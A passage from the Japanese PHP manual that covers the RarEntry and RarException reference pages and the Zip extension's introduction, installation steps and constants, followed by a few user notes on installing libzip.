echo "Entry name: " . mb_convert_encoding(
    htmlentities(
        $entry->getName(),
        ENT_COMPAT,
        "UTF-8"
    ),
    "HTML-ENTITIES",
    "UTF-8"
);

?>

User Contributed Notes

There are no user contributed notes for this page.


圧縮後のエントリのサイズを取得する

  • ≪ RarEntry::getName
  • RarEntry::getStream ≫
  • PHP Manual
  • RarEntry
  • 圧縮後のエントリのサイズを取得する

RarEntry::getPackedSize

(PECL rar >= 0.1)

RarEntry::getPackedSize — 圧縮後のエントリのサイズを取得する

説明

public RarEntry::getPackedSize ( ) : int

圧縮後のアーカイブエントリのサイズを取得します。

注意:

調整数型が 32 ビットであるプラットフォーム (Windows x64 など) では、返されるサイズの上限は 2 GiB となります。定数 PHP_INT_MAX をチェックしましょう。

パラメータ

この関数にはパラメータはありません。

返り値

圧縮後のサイズ、あるいはエラー時に false を返します。

変更履歴

バージョン | 説明
PECL rar 2.0.0 | このメソッドは、64 ビット整数型のプラットフォームで 2 GiB を超えるサイズを正しく返せるようになりました。 また、それ以外のプラットフォームでも負の値を返すことがなくなりました。

例

例1 RarEntry::getPackedSize() の例

<?php

$rar_file = rar_open('example.rar') or die("Rar アーカイブのオープンに失敗しました");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("そのようなエントリは見つかりません");

echo "圧縮後の " . $entry->getName() . " のサイズ = " . $entry->getPackedSize() . " バイト";

?>

User Contributed Notes

There are no user contributed notes for this page.


このエントリのファイルハンドラを取得する

  • ≪ RarEntry::getPackedSize
  • RarEntry::getUnpackedSize ≫
  • PHP Manual
  • RarEntry
  • このエントリのファイルハンドラを取得する

RarEntry::getStream

(PECL rar >= 2.0.0)

RarEntry::getStream — このエントリのファイルハンドラを取得する

説明

public RarEntry::getStream ( string $password = ? ) : resource|false

読み込み操作をサポートするファイルハンドラを返します。 このハンドラを使って、このエントリをその場で展開します。

このハンドラは、rar_close() をコールしても無効にはなりません。

警告

返されるストリームでは、整合性の検証を行いません。 特に、ファイルの破損や間違ったキーによる復号は検出できません。 もし整合性を検証したいのなら、エントリの CRC を確認するのはプログラマ側の役割となります。

パラメータ

password

このエントリの暗号化に使うパスワード。 エントリが暗号化されていない場合は、この値は使われずに無視されます。 このパラメータが省略されていてエントリが暗号化されていた場合は、もし rar_open() でパスワードを指定していればそれを使います。 このパラメータや rar_open() で指定したパスワードが間違っていたときは、 このメソッドの結果のストリームは間違った結果を出力します。 パスワードが要求されているときにパスワードを指定していなければ、 このメソッドは失敗して false を返します。 エントリが暗号化されているかどうかを知るには RarEntry::isEncrypted() を使います。

返り値

ファイルハンドラを返します。失敗した場合に false を返します。

変更履歴

バージョン | 説明
PECL rar 3.0.0 | エントリ名が繰り返される RAR アーカイブも対応するようになりました。

例

例1 RarEntry::getStream() の例

<?php

$rar_file = rar_open('example.rar');
if ($rar_file === false)
    die("Rar アーカイブのオープンに失敗しました");

$entry = rar_entry_get($rar_file, 'Dir/file.txt');
if ($entry === false)
    die("そのようなエントリは見つかりません");

$stream = $entry->getStream();
if ($stream === false)
    die("ストリームの取得に失敗しました");

rar_close($rar_file); // ストリームはファイルとは独立しています

while (!feof($stream)) {
    $buff = fread($stream, 8192);
    if ($buff !== false)
        echo $buff;
    else
        break; // fread のエラー
}

fclose($stream);

?>

参考

  • RarEntry::extract() - アーカイブのエントリを展開する
  • rar:// ラッパー

User Contributed Notes

There are no user contributed notes for this page.


展開後のエントリのサイズを取得する

  • ≪ RarEntry::getStream
  • RarEntry::getVersion ≫
  • PHP Manual
  • RarEntry
  • 展開後のエントリのサイズを取得する

RarEntry::getUnpackedSize

(PECL rar >= 0.1)

RarEntry::getUnpackedSize — 展開後のエントリのサイズを取得する

説明

public RarEntry::getUnpackedSize ( ) : int

展開後のアーカイブエントリのサイズを取得します。

注意:

調整数型が 32 ビットであるプラットフォーム (Windows x64 など) では、返されるサイズの上限は 2 GiB となります。定数 PHP_INT_MAX をチェックしましょう。

パラメータ

この関数にはパラメータはありません。

返り値

展開後のサイズ、あるいはエラー時に false を返します。

変更履歴

バージョン | 説明
PECL rar 2.0.0 | このメソッドは、64 ビット整数型のプラットフォームで 2 GiB を超えるサイズを正しく返せるようになりました。 また、それ以外のプラットフォームでも負の値を返すことがなくなりました。

返り値

例1 RarEntry::getUnpackedSize() の例

<?php

$rar_file = rar_open('example.rar') or die("Rar アーカイブのオープンに失敗しました");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("そのようなエントリは見つかりません");

echo "展開後の " . $entry->getName() . " のサイズ = " . $entry->getUnpackedSize() . " バイト";

?>

User Contributed Notes

There are no user contributed notes for this page.


このエントリを展開するのに必要な RAR プログラムの最低バージョンを取得する

  • ≪ RarEntry::getUnpackedSize
  • RarEntry::isDirectory ≫
  • PHP Manual
  • RarEntry
  • このエントリを展開するのに必要な RAR プログラムの最低バージョンを取得する

RarEntry::getVersion

(PECL rar >= 0.1)

RarEntry::getVersion — このエントリを展開するのに必要な RAR プログラムの最低バージョンを取得する

説明

public RarEntry::getVersion ( ) : int

このエントリを展開するのに必要な RAR プログラム (WinRAR など) の最低バージョンを取得します。 10 * メジャーバージョン + マイナーバージョン 形式になります。

パラメータ

この関数にはパラメータはありません。

返り値

バージョン、あるいはエラー時に false を返します。

例

例1 RarEntry::getVersion() の例

<?php

$rar_file = rar_open('example.rar') or die("Rar アーカイブのオープンに失敗しました");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("そのようなエントリは見つかりませんでした");

echo "展開に必要な Rar のバージョン: " . $entry->getVersion();

?>

User Contributed Notes

There are no user contributed notes for this page.


このエントリがディレクトリであるかどうかを調べる

  • ≪ RarEntry::getVersion
  • RarEntry::isEncrypted ≫
  • PHP Manual
  • RarEntry
  • このエントリがディレクトリであるかどうかを調べる

RarEntry::isDirectory

(PECL rar >= 2.0.0)

RarEntry::isDirectory — このエントリがディレクトリであるかどうかを調べる

説明

public RarEntry::isDirectory ( ) : bool

現在のエントリがディレクトリであるかどうかを調べます。

パラメータ

この関数にはパラメータはありません。

返り値

エントリがディレクトリである場合に true、それ以外の場合に false を返します。

注意

この関数はバージョン 2.0.0 以降でしか使えませんが、 エントリの属性をチェックすればディレクトリであるかどうかを調べることができます (RAR for Windows あるいは Unix で圧縮したファイルでしか使えません)。

<?php
//...
//Open file, get entry and store in variable $e...
//...

$isDirectory = (bool) ((($e->getHostOs() == RAR_HOST_WIN32) && ($e->getAttr() & 0x10)) ||
    (($e->getHostOs() == RAR_HOST_UNIX) && (($e->getAttr() & 0xf000) == 0x4000)));
?>

User Contributed Notes

There are no user contributed notes for this page.


このエントリが暗号化されているかどうかを調べる

  • ≪ RarEntry::isDirectory
  • RarEntry::__toString ≫
  • PHP Manual
  • RarEntry
  • このエントリが暗号化されているかどうかを調べる

RarEntry::isEncrypted

(PECL rar >= 2.0.0)

RarEntry::isEncrypted — このエントリが暗号化されているかどうかを調べる

説明

public RarEntry::isEncrypted ( ) : bool

現在のディレクトリが暗号化されているかどうかを調べます。

注意:

同じ RAR アーカイブ内でも、ファイルによってパスワードが異なることがあります。

パラメータ

この関数にはパラメータはありません。

返り値

エントリが暗号化されている場合に true、それ以外の場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


エントリのテキスト表現を取得する

  • ≪ RarEntry::isEncrypted
  • RarException ≫
  • PHP Manual
  • RarEntry
  • エントリのテキスト表現を取得する

RarEntry::__toString

(PECL rar >= 2.0.0)

RarEntry::__toString — エントリのテキスト表現を取得する

説明

public RarEntry::__toString ( ) : string

RarEntry::__toString() は、このエントリのテキスト表現を返します。 その内容は、まずエントリがファイルであるかディレクトリであるか (シンボリックリンクやその他の特殊オブジェクトはファイルとみなされます)、 そしてエントリ名を UTF-8 であらわしたものと CRC となります。 この形式と内容は将来変更される可能性があるので、これに依存してはいけません。

パラメータ

この関数にはパラメータはありません。

返り値

エントリのテキスト表現を返します。

User Contributed Notes

There are no user contributed notes for this page.


RarException クラス

(PECL rar >= 2.0.0)

はじめに

このクラスの役割は、RAR 拡張モジュールの関数やメソッドからスローされた例外を表す型となることと 静的メソッドを使ってエラーの詳細 (例外がスローされたのか、 それとも警告が発生しただけなのかなど) を得ることのふたつです。

次のエラーコードを使います。

  • -1 - UnRAR ライブラリ以外のエラー
  • 11 - メモリの不足
  • 12 - データ不良
  • 13 - アーカイブ不良
  • 14 - 未知のフォーマット
  • 15 - ファイルオープンエラー
  • 16 - ファイル作成エラー
  • 17 - ファイルクローズエラー
  • 18 - 読み込みエラー
  • 19 - 書き込みエラー
  • 20 - バッファ不足
  • 21 - 未知の RAR エラー
  • 22 - パスワードが要求されているのに指定しなかった

クラス概要

final RarException extends Exception {
/* メソッド */
public static isUsingExceptions ( ) : bool
public static setUsingExceptions ( bool $using_exceptions ) : void
/* 継承したメソッド */
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

目次

  • RarException::isUsingExceptions — 例外によるエラー処理を使っているかどうかを調べる
  • RarException::setUsingExceptions — 例外によるエラー処理の有効化および無効化を行う

User Contributed Notes

There are no user contributed notes for this page.


例外によるエラー処理を使っているかどうかを調べる

  • ≪ RarException
  • RarException::setUsingExceptions ≫
  • PHP Manual
  • RarException
  • 例外によるエラー処理を使っているかどうかを調べる

RarException::isUsingExceptions

(PECL rar >= 2.0.0)

RarException::isUsingExceptions — 例外によるエラー処理を使っているかどうかを調べる

説明

public static RarException::isUsingExceptions ( ) : bool

RAR 関数が警告を発してエラー値を返すようになっているか、 あるいは例外をスローするようになっているかを調べます (引数の型を間違えるなどのプログラム上のエラーは含めません)。

パラメータ

この関数にはパラメータはありません。

返り値

例外を使っている場合に true、それ以外の場合に false を返します。

例

例1 RarException::isUsingExceptions() の例

<?php
// デフォルトでは例外を使いません
var_dump(RarException::isUsingExceptions());
?>

上の例の出力は、 たとえば以下のようになります。

bool(false)

参考

  • RarException::setUsingExceptions() - 例外によるエラー処理の有効化および無効化を行う

User Contributed Notes

There are no user contributed notes for this page.


例外によるエラー処理の有効化および無効化を行う

  • ≪ RarException::isUsingExceptions
  • Zip ≫
  • PHP Manual
  • RarException
  • 例外によるエラー処理の有効化および無効化を行う

RarException::setUsingExceptions

(PECL rar >= 2.0.0)

RarException::setUsingExceptions — 例外によるエラー処理の有効化および無効化を行う

説明

public static RarException::setUsingExceptions ( bool $using_exceptions ) : void

引数に true を指定すると、UnRAR ライブラリがエラーに遭遇したときの挙動を変更し、 警告を発してエラーを示す値を返すのではなく RarException 型の例外をスローするようにします。

例外は次のエラーのときにもスローされます。これらはライブラリの外部で発生します (エラーコードは -1 です)。

  • 既に閉じた RarArchive オブジェクトやそれに関する RarEntry オブジェクトへのアクセスを試みたとき。
  • 存在しないエントリを RarArchive::getEntry() で取得しようと試みたとき。

パラメータ

using_exceptions

例外をスローさせるときは true、例外をスローさせないときは false (デフォルト)。

例

例1 RarException::setUsingExceptions() の例

<?php
var_dump(RarException::isUsingExceptions());
$arch = RarArchive::open("does_not_exist.rar");
var_dump($arch);

RarException::setUsingExceptions(true);
var_dump(RarException::isUsingExceptions());
$arch = RarArchive::open("does_not_exist.rar");
var_dump($arch); //not reached
?>

上の例の出力は、 たとえば以下のようになります。

bool(false)

Warning: RarArchive::open(): Failed to open does_not_exist.rar: ERAR_EOPEN (file open error) in C:\php_rar\trunk\tests\test.php on line 3
bool(false)
bool(true)

Fatal error: Uncaught exception 'RarException' with message 'unRAR internal error: Failed to open does_not_exist.rar: ERAR_EOPEN (file open error)' in C:\php_rar\trunk\tests\test.php:8
Stack trace:
#0 C:\php_rar\trunk\tests\test.php(8): RarArchive::open('does_not_exist....')
#1 {main}
  thrown in C:\php_rar\trunk\tests\test.php on line 8

参考

  • RarException::isUsingExceptions() - 例外によるエラー処理を使っているかどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


Zip

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
  • ZipArchive — ZipArchive クラス
    • ZipArchive::addEmptyDir — 新しいディレクトリを追加する
    • ZipArchive::addFile — 指定したパスからファイルを ZIP アーカイブに追加する
    • ZipArchive::addFromString — 内容を指定して、ファイルを ZIP アーカイブに追加する
    • ZipArchive::addGlob — ディレクトリから、glob パターンを使ってファイルを追加する
    • ZipArchive::addPattern — ディレクトリから、PCRE パターンを使ってファイルを追加する
    • ZipArchive::close — アクティブな (オープンされた、あるいは新しく作成された) アーカイブを閉じる
    • ZipArchive::count — アーカイブにあるファイルの数を数える
    • ZipArchive::deleteIndex — インデックスを使用して、アーカイブ内のエントリを削除する
    • ZipArchive::deleteName — 名前を使用して、アーカイブからエントリを削除する
    • ZipArchive::extractTo — アーカイブの内容を展開する
    • ZipArchive::getArchiveComment — ZIP アーカイブのコメントを返す
    • ZipArchive::getCommentIndex — エントリのインデックスを使用して、エントリのコメントを返す
    • ZipArchive::getCommentName — エントリ名を使用して、エントリのコメントを返す
    • ZipArchive::getExternalAttributesIndex — インデックスで定義されたエントリの外部属性を取得する
    • ZipArchive::getExternalAttributesName — 名前で定義されたエントリの外部属性を取得する
    • ZipArchive::getFromIndex — インデックスを使用して、エントリの内容を返す
    • ZipArchive::getFromName — 名前を使用して、エントリの内容を返す
    • ZipArchive::getNameIndex — インデックスを使用して、エントリの名前を返す
    • ZipArchive::getStatusString — システムエラー、または ZIP メッセージに関するエラー情報を返す
    • ZipArchive::getStream — 名前を使用して、エントリのファイルハンドラ (読み込み専用) を取得する
    • ZipArchive::isCompressionMethodSupported — 圧縮方式を libzip がサポートしているかをチェックする
    • ZipArchive::isEncryptionMethodSupported — 暗号化方式を libzip がサポートしているかどうかをチェックする
    • ZipArchive::locateName — アーカイブ内のエントリのインデックスを返す
    • ZipArchive::open — ZIP ファイルアーカイブをオープンする
    • ZipArchive::registerCancelCallback — アーカイブを閉じている間にキャンセルできるようにコールバックを登録する
    • ZipArchive::registerProgressCallback — アーカイブを閉じている間に更新できるようにコールバックを登録する
    • ZipArchive::renameIndex — インデックスを使用してエントリ名を変更する
    • ZipArchive::renameName — 名前を使用してエントリ名を変更する
    • ZipArchive::replaceFile — 指定されたパスのファイルにアーカイブの一部を置き換える
    • ZipArchive::setArchiveComment — ZIP アーカイブのコメントを設定する
    • ZipArchive::setCommentIndex — インデックスを使用してエントリのコメントを設定する
    • ZipArchive::setCommentName — 名前を使用してエントリのコメントを設定する
    • ZipArchive::setCompressionIndex — インデックスで定義されたエントリの圧縮方法を設定する
    • ZipArchive::setCompressionName — 名前で定義されたエントリの圧縮メソッドを設定する
    • ZipArchive::setEncryptionIndex — index で定義されたエントリの暗号化方法を指定する
    • ZipArchive::setEncryptionName — 名前で定義されたエントリの暗号化方式を設定する
    • ZipArchive::setExternalAttributesIndex — インデックスで定義されたエントリの外部属性を設定する
    • ZipArchive::setExternalAttributesName — 名前で定義されたエントリの外部属性を設定する
    • ZipArchive::setMtimeIndex — インデックスを使用してエントリの変更時間を設定する
    • ZipArchive::setMtimeName — 名前を使ってエントリの変更時間を設定する
    • ZipArchive::setPassword — アクティブなアーカイブにパスワードを設定する
    • ZipArchive::statIndex — インデックスを使用してエントリの詳細を取得する
    • ZipArchive::statName — 名前を使用してエントリの詳細を取得する
    • ZipArchive::unchangeAll — アーカイブに対するすべての変更を取り消す
    • ZipArchive::unchangeArchive — アーカイブ全体に対して行われたすべての変更を取り消す
    • ZipArchive::unchangeIndex — 指定したインデックスのエントリに対するすべての変更を取り消す
    • ZipArchive::unchangeName — 指定した名前のエントリに対するすべての変更を取り消す
  • Zip 関数
    • zip_close — ZIP ファイルアーカイブを閉じる
    • zip_entry_close — ディレクトリエントリを閉じる
    • zip_entry_compressedsize — ディレクトリエントリの圧縮時のサイズを取得する
    • zip_entry_compressionmethod — ディレクトリエントリの圧縮方法を取得する
    • zip_entry_filesize — ディレクトリエントリの実際のファイルサイズを取得する
    • zip_entry_name — ディレクトリエントリの名前を取得する
    • zip_entry_open — 読込み用にディレクトリエントリをオープンする
    • zip_entry_read — オープンされたディレクトリエントリから読み込む
    • zip_open — Zip ファイルアーカイブをオープンする
    • zip_read — Zip ファイルアーカイブの中の次のエントリを読み込む

User Contributed Notes

singh206 at gmail dot com 10-Aug-2009 11:21
Caution:  If you accidentally let an extra '/' slip into your filepath, such as, '/myzipstuff//myfile.mp3', Mac OS X will handle resolve this, and you won't notice the typo.  Vista, and XP will have issues unzipping the file.


はじめに

この拡張モジュールにより、ZIP 圧縮されたアーカイブとその内部のファイルに対する透過的な読み書きが可能となります。

User Contributed Notes

There are no user contributed notes for this page.


要件

この拡張モジュールは、» libzip を必要とします。PHP 7.3 までは、libzip 1.1.2 がバンドルされていました。

サポートされている最も古いバージョンは 0.11 ですが、 それより新しいバージョンを使うことを強く推奨します。

  • 暗号化をサポートするにはバージョン 1.2 が必要です。ZipArchive::setEncryptionIndex() を参照してください。
  • 処理の進行に応じたコールバックをサポートするには、バージョン 1.3 が必要です。ZipArchive::registerProgressCallback() を参照してください。
  • 処理のキャンセルをサポートするには、バージョン 1.6 が必要です。ZipArchive::registerCancelCallback() を参照してください。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

Linux systems

PHP 7.4.0 以降でこれらの関数を利用するには、設定オプション --with-zip を使用して zip サポートを有効にして PHP をコンパイルしなければなりません。 それより前のバージョンでは、--enable-zip オプションを使う必要がありました。

PHP 5.6.0 からは、--with-libzip=DIR オプションが追加されました。これを指定すると、システムにインストールされた libzip を利用します。 libzip 0.11 以降が必要です。0.11.2 以降を推奨します。

PHP 7.3.0 以降では、バンドルされている libzip を使って PHP をビルドすることは推奨されません。 しかし、--without-libzip オプションを configure オプションに追加することで バンドルされている libzip を使えます。 PHP 7.4.0 以降、バンドル版の libzip は削除されました。

Windows

PHP 5.3 以降には、この拡張モジュールが標準で組み込まれています。 それより前のバージョンでは、Windows ユーザーは、これらの関数を使用するために php.ini 内の php_zip.dll を有効にする必要があります。

PECL 経由でのインストール

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/zip.

User Contributed Notes

Anonymous 01-Jul-2020 11:29
This is how I installed it on my machine (ubuntu):
php 7:

sudo apt-get install php7.0-zip

service apache2 restart
php dot net at cage dot is 23-Jun-2020 03:00
For those of you asking about how to update this within your Dockerfile, the answer seems to be to add to the environment variable like so:

ENV PHP_EXTRA_CONFIGURE_ARGS="--with-apxs2 --disable-cgi --with-zip"
sgalyen at notspamarizona dot edu 15-Apr-2020 11:13
In trying to compile PHP 7.4.x on CentOS 7.x I'm running into the dreaded "Package requirements (libzip >= 0.11) were not met"

As the referenced RPM package for lipzip 0.11.2 is a 3rd party (repo named Psychotic Ninja Plus, doesn't exactly inspire faith) I tried to compile from source.

I was able to find the git sha1 for 0.11.1 and compile successfully - if anyone needs it:
d2aac947ccc85bd4abbd02a6d9b237bdaa89d3f0

If someone in the know could post the sha1 for 0.11.2, or whatever preferred version of libzip that successfully compiles, I would appreciate it!
Marcel 10-Dec-2018 01:34
Getting error

  configure: error: Please reinstall the libzip distribution

when compiling this extension for php 7.3?

You need to install the 'libzip' package.

In Dockerfile you would do this like:

# Install zip
RUN apt-get update && \
     apt-get install -y \
         libzip-dev \
         && docker-php-ext-install zip
mattcasiro at gmail dot com 23-Apr-2018 06:15
If installing this in a Docker image using:
"docker-php-ext-install zip"

you may get an error such as:
"docker-php-ext-install zip returned a non-zero code: 1"
or
"zip support requires ZLIB"

Docker documentation now suggests this as the proper way to install, to ensure the dependant libraries are installed with it:
# Install zip
RUN apt-get update && \
     apt-get install -y \
         zlib1g-dev \
         && docker-php-ext-install zip


リソース型

Zip モジュールでは二種類のリソース型が使用されます。 まず最初が Zip アーカイブを表す Zip directory で、 もうひとつはアーカイブのエントリを表す Zip Entry です。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

ZipArchive はクラス定数を使用します。定数には フラグ (接頭辞 FL_)、 エラー (接頭辞 ER_) あるいはモード (接頭辞なし) の三種類があります。

ZipArchive::CREATE (int)
アーカイブが存在しない場合に、作成します。
ZipArchive::OVERWRITE (int)
常に新しいアーカイブを開始します。このモードは、 ファイルが既に存在する場合にはそれを上書きします。
ZipArchive::EXCL (int)
アーカイブが既に存在する場合はエラーとします。
ZipArchive::RDONLY (int)
アーカイブを読み取り専用で開きます。 libzip ? 1.0.0 でビルドした場合、 PHP 7.4.3 以降、PECL zip 1.17.1 以降で利用可能です。
ZipArchive::CHECKCONS (int)
アーカイブの一貫性チェックを別途行い、 失敗した場合はエラーとします。
ZipArchive::FL_NOCASE (int)
名前で検索する際に大文字小文字を区別しません。
ZipArchive::FL_NODIR (int)
ディレクトリ要素を無視します。
ZipArchive::FL_COMPRESSED (int)
圧縮されたデータを読み込みます。
ZipArchive::FL_UNCHANGED (int)
元のデータを使用し、変更内容を無視します。
ZipArchive::FL_RECOMPRESS (int)
データを強制的に再び圧縮します。 PHP 8.0.0 以降、PECL zip 1.18.0 以降で利用可能です。
ZipArchive::FL_ENCRYPTED (int)
暗号化されたデータを読み込みます(FL_COMPRESSED が有効な場合)。 PHP 8.0.0 以降、PECL zip 1.18.0 以降で利用可能です。
ZipArchive::FL_OVERWRITE (int)
ファイル名が存在する場合、上書き(置き換え)します。 PHP 8.0.0 以降、PECL zip 1.18.0 以降で利用可能です。
ZipArchive::FL_LOCAL (int)
ローカルファイルヘッダ。 PHP 8.0.0 以降、PECL zip 1.18.0 以降で利用可能です。
ZipArchive::ZIP_FL_CENTRAL (int)
セントラルディレクトリ。 PHP 8.0.0 以降、PECL zip 1.18.0 以降で利用可能です。
ZipArchive::FL_ENC_GUESS (int)
文字エンコーディングを推測します (デフォルト)。PHP 7.0.8 以降で利用可能です。
ZipArchive::FL_ENC_RAW (int)
何も手を加えない文字列を取得します。PHP 7.0.8 以降で利用可能です。
ZipArchive::FL_ENC_STRICT (int)
指示に厳格に従います。PHP 7.0.8 以降で利用可能です。
ZipArchive::FL_ENC_UTF_8 (int)
文字列のエンコーディングは UTF-8 です。PHP 7.0.8 以降で利用可能です。
ZipArchive::FL_ENC_CP437 (int)
文字列のエンコーディングは CP437 です。PHP 7.0.8 以降で利用可能です。
ZipArchive::CM_DEFAULT (int)
圧縮あるいは保存のどちらか有効なほうを実行します。
ZipArchive::CM_STORE (int)
保存します (圧縮しません)。
ZipArchive::CM_SHRINK (int)
圧縮します。
ZipArchive::CM_REDUCE_1 (int)
Reduced 方式(compression factor 1)
ZipArchive::CM_REDUCE_2 (int)
Reduced 方式(compression factor 2)
ZipArchive::CM_REDUCE_3 (int)
Reduced 方式(compression factor 3)
ZipArchive::CM_REDUCE_4 (int)
Reduced 方式(compression factor 4)
ZipArchive::CM_IMPLODE (int)
Imploded 方式
ZipArchive::CM_DEFLATE (int)
Deflated 方式
ZipArchive::CM_DEFLATE64 (int)
Deflate64 方式
ZipArchive::CM_PKWARE_IMPLODE (int)
PKWARE 方式。
ZipArchive::CM_BZIP2 (int)
BZIP2 アルゴリズム。
ZipArchive::CM_LZMA (int)
LZMA アルゴリズム
ZipArchive::CM_LZMA2 (int)
LZMA2 アルゴリズム。 libzip ? 1.6.0 でビルドした場合、 PHP 7.4.3 以降、PECL zip 1.16.0 以降で利用可能です。
ZipArchive::CM_ZSTD (int)
Zstandard アルゴリズム。 libzip ? 1.8.0 でビルドした場合、 PHP 8.0.0 以降、PECL zip 1.19.0 以降で利用可能です。
ZipArchive::CM_XZ (int)
XZ アルゴリズム。 libzip ? 1.6.0 でビルドした場合、 PHP 7.4.3 以降、PECL zip 1.16.1 以降で利用可能です。
ZipArchive::ER_OK (int)
エラーはありません。
ZipArchive::ER_MULTIDISK (int)
複数ディスクの zip アーカイブはサポートされません。
ZipArchive::ER_RENAME (int)
一時ファイルの名前変更に失敗しました。
ZipArchive::ER_CLOSE (int)
zip アーカイブのクローズに失敗しました。
ZipArchive::ER_SEEK (int)
シークエラー。
ZipArchive::ER_READ (int)
読み込みエラー。
ZipArchive::ER_WRITE (int)
書き込みエラー。
ZipArchive::ER_CRC (int)
CRC エラー。
ZipArchive::ER_ZIPCLOSED (int)
zip アーカイブはクローズされました。
ZipArchive::ER_NOENT (int)
そのファイルはありません。
ZipArchive::ER_EXISTS (int)
ファイルが既に存在します。
ZipArchive::ER_OPEN (int)
ファイルをオープンできません。
ZipArchive::ER_TMPOPEN (int)
一時ファイルの作成に失敗しました。
ZipArchive::ER_ZLIB (int)
Zlib エラー。
ZipArchive::ER_MEMORY (int)
メモリの確保に失敗しました。
ZipArchive::ER_CHANGED (string)
エントリが変更されました。
ZipArchive::ER_COMPNOTSUPP (int)
圧縮方式がサポートされていません。
ZipArchive::ER_EOF (int)
予期せぬ EOF です。
ZipArchive::ER_INVAL (int)
無効な引数です。
ZipArchive::ER_NOZIP (int)
zip アーカイブではありません。
ZipArchive::ER_INTERNAL (int)
内部エラー。
ZipArchive::ER_INCONS (int)
矛盾した Zip アーカイブです。
ZipArchive::ER_REMOVE (int)
ファイルを削除できません。
ZipArchive::ER_DELETED (int)
エントリが削除されました。
ZipArchive::ER_ENCRNOTSUPP (int)
暗号化メソッドはサポートされていません。 PHP 7.4.3 以降、PECL zip 1.16.1 以降で利用可能です。
ZipArchive::ER_RDONLY (int)
読み取り専用のアーカイブです。 PHP 7.4.3 以降、PECL zip 1.16.1 以降で利用可能です。
ZipArchive::ER_NOPASSWD (int)
パスワードが指定されていません。 PHP 7.4.3 以降、PECL zip 1.16.1 以降で利用可能です。
ZipArchive::ER_WRONGPASSWD (int)
間違ったパスワードが指定されました。 PHP 7.4.3 以降、PECL zip 1.16.1 以降で利用可能です。
ZipArchive::ZIP_ER_OPNOTSUPP (int)
操作はサポートされていません。 libzip ? 1.0.0 でビルドした場合、 PHP 7.4.3 以降、PECL zip 1.16.1 以降で利用可能です。
ZipArchive::ZIP_ER_INUSE (int)
リソースがまだ使用中です。 libzip ? 1.0.0 でビルドした場合、 PHP 7.4.3 以降、PECL zip 1.16.1 以降で利用可能です。
ZipArchive::ZIP_ER_TELL (int)
ストリームの位置変更エラー。 libzip ? 1.0.0 でビルドした場合、 PHP 7.4.3 以降、PECL zip 1.16.1 以降で利用可能です。
ZipArchive::ZIP_ER_COMPRESSED_DATA (int)
圧縮データが不正です。 libzip ? 1.6.0 でビルドした場合、 PHP 7.4.3 以降、PECL zip 1.16.1 以降で利用可能です。
ZipArchive::ER_CANCELLED (int)
操作がキャンセルされました。 libzip ? 1.6.0 でビルドした場合、 PHP 7.4.3 以降、PECL zip 1.16.1 以降で利用可能です。
ZipArchive::EM_NONE (int)
暗号化しません。libzip ? 1.2.0 でビルドした場合、 PHP 7.2.0 以降、PECL zip 1.14.0 以降で利用可能です。
ZipArchive::EM_TRAD_PKWARE (int)
伝統的な PKWARE 仕様の暗号化を行います。 PHP 8.0.0 以降、PECL zip 1.19.0 以降で利用可能です。
ZipArchive::EM_AES_128 (int)
AES 128 ビットで暗号化します。 libzip ? 1.2.0 でビルドした場合、 PHP 7.2.0 以降、PECL zip 1.14.0 以降で利用可能です。
ZipArchive::EM_AES_192 (int)
AES 192 ビットで暗号化します。 libzip ? 1.2.0 でビルドした場合、 PHP 7.2.0 以降、PECL zip 1.14.0 以降で利用可能です。
ZipArchive::EM_AES_256 (int)
AES 256 ビットで暗号化します。 libzip ? 1.2.0 でビルドした場合、 PHP 7.2.0 以降、PECL zip 1.14.0 以降で利用可能です。
ZipArchive::EM_UNKNOWN (int)
不明な暗号化アルゴリズムです。 PHP 8.0.0 以降、PECL zip 1.19.0 以降で利用可能です。
ZipArchive::LIBZIP_VERSION (string)
Zip ライブラリのバージョン。 PHP 7.4.3 以降、PECL zip 1.16.0 以降で利用可能です。
外部属性用の、オペレーティングシステム定数
ZipArchive::OPSYS_DOS (int)
ZipArchive::OPSYS_AMIGA (int)
ZipArchive::OPSYS_OPENVMS (int)
ZipArchive::OPSYS_UNIX (int)
ZipArchive::OPSYS_VM_CMS (int)
ZipArchive::OPSYS_ATARI_ST (int)
ZipArchive::OPSYS_OS_2 (int)
ZipArchive::OPSYS_MACINTOSH (int)
ZipArchive::OPSYS_Z_SYSTEM (int)
ZipArchive::OPSYS_CPM (int)
ZipArchive::OPSYS_WINDOWS_NTFS (int)
ZipArchive::OPSYS_MVS (int)
ZipArchive::OPSYS_VSE (int)
ZipArchive::OPSYS_ACORN_RISC (int)
ZipArchive::OPSYS_VFAT (int)
ZipArchive::OPSYS_ALTERNATE_MVS (int)
ZipArchive::OPSYS_BEOS (int)
ZipArchive::OPSYS_TANDEM (int)
ZipArchive::OPSYS_OS_400 (int)
ZipArchive::OPSYS_OS_X (int)
ZipArchive::OPSYS_DEFAULT (int)
PHP 5.6.0、PECL zip 1.12.4 以降で使用可能です。

User Contributed Notes

ohcc at 163 dot com 17-Dec-2015 08:35
0    ZIPARCHIVE::ER_OK     没有??。
1    ZIPARCHIVE::ER_MULTIDISK    不支持多磁?zip??包。
2    ZIPARCHIVE::ER_RENAME    重命名??文件失?。
3    ZIPARCHIVE::ER_CLOSE    ??zip??包失?。
4    ZIPARCHIVE::ER_SEEK    ?址??
5    ZIPARCHIVE::ER_READ    ?取??
6    ZIPARCHIVE::ER_WRITE    写入??
7    ZIPARCHIVE::ER_CRC    CRC校?失?
